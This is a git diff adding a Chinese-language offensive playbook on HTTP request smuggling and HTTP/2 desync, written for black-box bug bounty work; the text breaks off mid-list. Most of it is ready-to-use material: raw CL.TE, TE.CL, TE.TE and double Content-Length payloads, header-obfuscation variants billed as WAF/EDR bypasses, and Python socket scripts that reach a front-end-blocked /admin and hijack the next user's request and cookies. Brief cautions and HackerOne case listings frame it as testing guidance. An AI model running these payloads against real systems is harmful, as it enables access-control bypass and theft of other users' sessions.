reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,924 @@
|
||||
# HTTP Request Smuggling / HTTP/2 Desync
|
||||
|
||||
> 视角:黑盒,目标是利用前后端解析差异
|
||||
|
||||
## 1. 一句话说清
|
||||
|
||||
前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
|
||||
攻击者把"半包"塞进流,影响下个用户的请求/响应。
|
||||
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 类型速览
|
||||
|
||||
| 类型 | 前置代理用 | 后端用 |
|
||||
|------|----------|------|
|
||||
| **CL.TE** | Content-Length | Transfer-Encoding |
|
||||
| **TE.CL** | Transfer-Encoding | Content-Length |
|
||||
| **TE.TE** | 都看,但前后处理混淆 | 同 |
|
||||
| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
|
||||
| **CL.0** | CL=0 后端忽略 | 后端读 body |
|
||||
|
||||
---
|
||||
|
||||
## 3. 探测手法
|
||||
|
||||
### 3.1 工具
|
||||
|
||||
```bash
|
||||
# Burp 扩展
|
||||
HTTP Request Smuggler
|
||||
|
||||
# 命令行
|
||||
smuggler.py -u https://target -v
|
||||
http2smugl quirks --target target.com:443
|
||||
h2csmuggler -u https://target/ --path /admin
|
||||
```
|
||||
|
||||
### 3.2 经典 PoC
|
||||
|
||||
#### CL.TE
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
```
|
||||
|
||||
前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
|
||||
|
||||
#### TE.CL
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
...
|
||||
0
|
||||
|
||||
```
|
||||
|
||||
#### 双 CL
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 4
|
||||
Content-Length: 1
|
||||
|
||||
GPOST...
|
||||
```
|
||||
|
||||
#### CL.0(HTTP/2 时常见)
|
||||
|
||||
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
|
||||
|
||||
#### h2c smuggling
|
||||
|
||||
```bash
|
||||
h2csmuggler -u http://target/ --path /admin
|
||||
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Bypass 矩阵
|
||||
|
||||
| 拦 | 绕 |
|
||||
|---|---|
|
||||
| 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
|
||||
| TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
|
||||
| WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
|
||||
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
|
||||
| h2 关闭 | h2c upgrade |
|
||||
|
||||
---
|
||||
|
||||
## 5. 利用提权 / 横向
|
||||
|
||||
```
|
||||
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
|
||||
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
|
||||
3. 旁路 IP 限制:用走私走过 IP 校验
|
||||
4. 偷 secret:让别人的请求 + 自己的响应混合
|
||||
5. XSS(缓存了走私响应)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 真实案例指纹
|
||||
|
||||
- PortSwigger blog 系列(James Kettle)
|
||||
- Cloudflare / Akamai 多次披露
|
||||
- HackerOne H1 上 desync 报告 $5k–$30k
|
||||
|
||||
通用指纹:
|
||||
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
|
||||
- 偶尔 503 / 502 / 异常 status code
|
||||
- 代理日志和后端日志请求数对不上
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现 / 证据要点
|
||||
|
||||
### 7.1 PoC
|
||||
|
||||
```
|
||||
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0\r\n\r\nG
|
||||
|
||||
# 立即第二个请求(同连接,Burp Repeater 同样栏)
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
→ 第二个响应应当反映前一次走私的 'G' 前缀
|
||||
```
|
||||
|
||||
### 7.2 CVSS
|
||||
|
||||
```
|
||||
HTTP smuggling → 缓存投毒 = 8.1 High
|
||||
HTTP smuggling → 旁路鉴权 = 9.1 Critical
|
||||
HTTP smuggling → 跨用户 = 8.1 High
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. 不要做的事
|
||||
|
||||
- **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
|
||||
- **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
|
||||
- **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
|
||||
|
||||
## H1 真实案例
|
||||
|
||||
_共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
|
||||
| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
|
||||
| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
|
||||
| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
|
||||
| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
|
||||
| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
|
||||
| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
|
||||
| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
|
||||
| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
|
||||
| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
|
||||
| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
|
||||
| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
|
||||
|
||||
**命中本类的 weakness 分布:**
|
||||
|
||||
- HTTP Request Smuggling:27 条
|
||||
- CRLF Injection:5 条
|
||||
- Uncategorized → 手工归类:4 条
|
||||
- HTTP Response Splitting:2 条
|
||||
|
||||
|
||||
## Payload 库
|
||||
|
||||
_4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
||||
|
||||
### CL-TE请求走私 `smuggling-cl-te`
|
||||
Content-Length与Transfer-Encoding走私
|
||||
子类:**CL-TE** · tags: `smuggling` `request` `http`
|
||||
|
||||
**前置条件:** 目标使用多层代理;前后端处理差异
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. CL-TE基础**
|
||||
_CL-TE走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 13
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
SMUGGLED
|
||||
```
|
||||
|
||||
**2. TE-CL基础**
|
||||
_TE-CL走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 3
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
8
|
||||
SMUGGLED
|
||||
0
|
||||
```
|
||||
|
||||
**3. TE-TE**
|
||||
_TE-TE走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
|
||||
0
|
||||
|
||||
SMUGGLED
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. TE头混淆变体**
|
||||
_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
|
||||
```
|
||||
# TE头混淆(使前/后端对TE解析不一致):
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Transfer-Encoding : chunked
|
||||
|
||||
Transfer-Encoding: xchunked
|
||||
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
|
||||
Transfer-Encoding:[tab]chunked
|
||||
|
||||
X: x
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
**2. Chunked扩展字段与CL-TE组合利用**
|
||||
_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
|
||||
```
|
||||
# Chunked扩展字段(RFC允许的分号后扩展):
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0;ext="injected"
|
||||
|
||||
G
|
||||
|
||||
# CL-0走私:
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 0
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### CL-CL走私 `smuggling-cl-cl`
|
||||
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
|
||||
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
|
||||
|
||||
**前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. 检测CL-CL走私条件** _[linux]_
|
||||
_探测目标是否存在双CL走私条件_
|
||||
```
|
||||
# 检测前端代理类型:
|
||||
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
|
||||
|
||||
# 发送包含两个Content-Length的请求:
|
||||
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
|
||||
|
||||
# 观察响应:
|
||||
# - 如果正常返回: 可能只解析了一个CL
|
||||
# - 如果400/错误: 服务器拒绝多CL(安全)
|
||||
# - 如果部分处理: 存在走私可能
|
||||
```
|
||||
|
||||
**2. CL-CL请求走私POC**
|
||||
_构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
|
||||
```
|
||||
# Python POC - CL-CL走私
|
||||
import socket
|
||||
|
||||
def smuggle_cl_cl(host, port):
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
"Content-Length: 44
|
||||
" # 前端使用这个CL
|
||||
"Content-Length: 0
|
||||
" # 后端使用这个CL
|
||||
"
|
||||
"
|
||||
"GET /admin HTTP/1.1
|
||||
" # 走私的请求
|
||||
f"Host: {host}
|
||||
"
|
||||
"
|
||||
"
|
||||
)
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
resp = s.recv(4096).decode(errors="ignore")
|
||||
print(resp)
|
||||
s.close()
|
||||
|
||||
smuggle_cl_cl("target.com", 80)
|
||||
```
|
||||
|
||||
**3. 利用CL-CL走私绕过前端访问控制**
|
||||
_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
|
||||
```
|
||||
# 场景:前端限制/admin访问,通过走私绕过
|
||||
import socket
|
||||
|
||||
def bypass_acl(host, port):
|
||||
# 走私请求到/admin端点
|
||||
smuggled = (
|
||||
"GET /admin HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
"
|
||||
"
|
||||
)
|
||||
content_length_real = len(smuggled)
|
||||
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
f"Content-Length: {content_length_real}
|
||||
"
|
||||
"Content-Length: 0
|
||||
"
|
||||
"Connection: keep-alive
|
||||
"
|
||||
"
|
||||
"
|
||||
+ smuggled
|
||||
)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
# 接收两个响应
|
||||
resp = s.recv(8192).decode(errors="ignore")
|
||||
print("[Response 1 - Normal]")
|
||||
print(resp[:500])
|
||||
resp2 = s.recv(8192).decode(errors="ignore")
|
||||
print("[Response 2 - Smuggled /admin]")
|
||||
print(resp2[:500])
|
||||
s.close()
|
||||
|
||||
bypass_acl("target.com", 80)
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. HTTP/2降级绕过**
|
||||
_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
|
||||
```
|
||||
# HTTP/2 -> HTTP/1.1降级利用
|
||||
# 前端H2后端H1时的走私
|
||||
:method: POST
|
||||
:path: /
|
||||
:authority: target.com
|
||||
content-length: 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
# H2C升级走私
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: <base64>
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
|
||||
**2. 连接复用操控**
|
||||
_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
|
||||
```
|
||||
# 双CL值差异
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Content-Length: 50
|
||||
|
||||
12345GPOST /admin HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
# 利用keep-alive连接复用
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: keep-alive
|
||||
Content-Length: 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: internal.target.com
|
||||
```
|
||||
|
||||
**3. 代理链混淆**
|
||||
_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
|
||||
```
|
||||
# 多级代理CL处理差异
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 44
|
||||
Content-Length : 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
X: 1
|
||||
|
||||
# 空格混淆CL头
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 0
|
||||
Content-Length: 42
|
||||
|
||||
GET /internal HTTP/1.1
|
||||
Host: target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TE-CL走私 `smuggling-te-cl`
|
||||
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
|
||||
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
|
||||
|
||||
**前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. 检测TE-CL差异**
|
||||
_检测前端和后端对TE vs CL的优先级差异_
|
||||
```
|
||||
# 发送同时包含TE和CL的请求:
|
||||
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
|
||||
|
||||
"
|
||||
|
||||
# 使用timing检测:
|
||||
# 如果后端使用CL,会等待更多数据(超时)
|
||||
import socket, time
|
||||
|
||||
s = socket.socket()
|
||||
s.connect(("target.com", 80))
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: target.com
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"Content-Length: 6
|
||||
"
|
||||
"
|
||||
"
|
||||
"0
|
||||
|
||||
"
|
||||
)
|
||||
s.send(payload.encode())
|
||||
start = time.time()
|
||||
resp = s.recv(4096)
|
||||
elapsed = time.time() - start
|
||||
print(f"Response in {elapsed:.2f}s")
|
||||
# 快速响应=后端用TE, 延迟响应=后端用CL
|
||||
```
|
||||
|
||||
**2. TE-CL走私POC**
|
||||
_TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
|
||||
```
|
||||
import socket
|
||||
|
||||
def te_cl_smuggle(host, port):
|
||||
# 前端(TE): 读取到"0
|
||||
|
||||
"结束 → 整个payload是一个请求
|
||||
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
|
||||
|
||||
smuggled = "GET /admin HTTP/1.1
|
||||
Host: {}
|
||||
|
||||
".format(host)
|
||||
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Length: 4
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"
|
||||
"
|
||||
"{}
|
||||
"
|
||||
"{}"
|
||||
"0
|
||||
|
||||
"
|
||||
).format(host, format(len(smuggled), "x"), smuggled)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
resp = s.recv(4096)
|
||||
print(resp.decode(errors="ignore")[:500])
|
||||
s.close()
|
||||
|
||||
te_cl_smuggle("target.com", 80)
|
||||
```
|
||||
|
||||
**3. TE-CL走私实现请求劫持**
|
||||
_走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
|
||||
```
|
||||
# 利用走私劫持下一个用户的请求
|
||||
import socket
|
||||
|
||||
def hijack_request(host, port):
|
||||
# 走私一个不完整的POST请求
|
||||
# 下一个正常用户的请求会被拼接为这个POST的body
|
||||
smuggled = (
|
||||
"POST /search HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Type: application/x-www-form-urlencoded
|
||||
"
|
||||
"Content-Length: 200
|
||||
" # 大CL会吞噬下一个请求
|
||||
"
|
||||
"
|
||||
"q=" # 下一个请求的数据会被当作搜索参数
|
||||
).format(host)
|
||||
|
||||
chunk_size = format(len(smuggled), "x")
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Length: 4
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"
|
||||
"
|
||||
"{}
|
||||
"
|
||||
"{}"
|
||||
"0
|
||||
|
||||
"
|
||||
).format(host, chunk_size, smuggled)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
print(s.recv(4096).decode(errors="ignore")[:500])
|
||||
s.close()
|
||||
|
||||
hijack_request("target.com", 80)
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. TE头大小写变体绕过**
|
||||
_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
|
||||
```
|
||||
# TE头大小写混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-encoding: identity
|
||||
|
||||
5c
|
||||
GPOST /admin HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
|
||||
# Transfer-Encoding变体
|
||||
Transfer-Encoding: xchunked
|
||||
Transfer-Encoding : chunked
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
```
|
||||
|
||||
**2. 空白字符注入**
|
||||
_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
|
||||
```
|
||||
# 制表符/换行注入TE头
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding:\tchunked
|
||||
|
||||
# 行前空格混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
# CRLF注入变体
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
|
||||
```
|
||||
|
||||
**3. chunk扩展字段利用**
|
||||
_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
|
||||
```
|
||||
# chunk扩展混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5;ext=val
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 超长chunk扩展
|
||||
5;aaaaaaa...aaaa=bbbb...bbb
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 非法chunk大小格式
|
||||
5
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 0x前缀
|
||||
0x5
|
||||
hello
|
||||
0
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TE-TE走私 `smuggling-te-te`
|
||||
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
|
||||
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
|
||||
|
||||
**前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. TE混淆变体探测**
|
||||
_测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
|
||||
```
|
||||
# Transfer-Encoding的各种混淆写法:
|
||||
# 测试哪种混淆能让一端忽略TE
|
||||
import socket
|
||||
|
||||
te_variants = [
|
||||
"Transfer-Encoding: xchunked",
|
||||
"Transfer-Encoding : chunked", # 冒号前空格
|
||||
"Transfer-Encoding: chunked
|
||||
Transfer-encoding: cow", # 两个TE
|
||||
"Transfer-Encoding : chunked", # Tab分隔
|
||||
"Transfer-Encoding: chunked", # Tab前缀
|
||||
" Transfer-Encoding: chunked", # 行首空格
|
||||
"X: x
|
||||
Transfer-Encoding: chunked", # Header注入
|
||||
"Transfer-Encoding: chunked | ||||